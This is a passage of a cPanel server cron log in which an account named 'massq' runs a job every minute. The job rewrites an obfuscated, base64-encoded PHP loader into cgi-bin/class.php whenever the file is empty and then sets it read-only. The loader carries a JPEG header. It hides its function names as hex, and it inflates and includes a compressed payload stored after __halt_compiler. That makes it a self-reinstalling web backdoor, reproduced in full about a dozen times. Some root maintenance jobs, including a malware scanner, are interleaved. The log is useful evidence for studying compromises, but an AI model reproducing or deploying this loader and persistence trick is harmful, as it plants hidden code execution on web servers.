"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:37:01 server CROND[26271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:38:01 server CROND[26343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:39:01 server CROND[26389]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 17:39:01 server CROND[26390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:40:01 server CROND[26438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:40:01 server CROND[26439]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 17:40:01 server CROND[26440]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:40:01 server CROND[26442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:41:01 server CROND[26542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:42:01 server CROND[26696]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 17:42:01 server CROND[26697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:43:01 server CROND[26755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:44:01 server CROND[26797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:45:01 server CROND[26862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:45:01 server CROND[26863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:45:01 server CROND[26864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:46:01 server CROND[26975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:47:01 server CROND[27023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:48:01 server CROND[27165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:49:01 server CROND[27229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
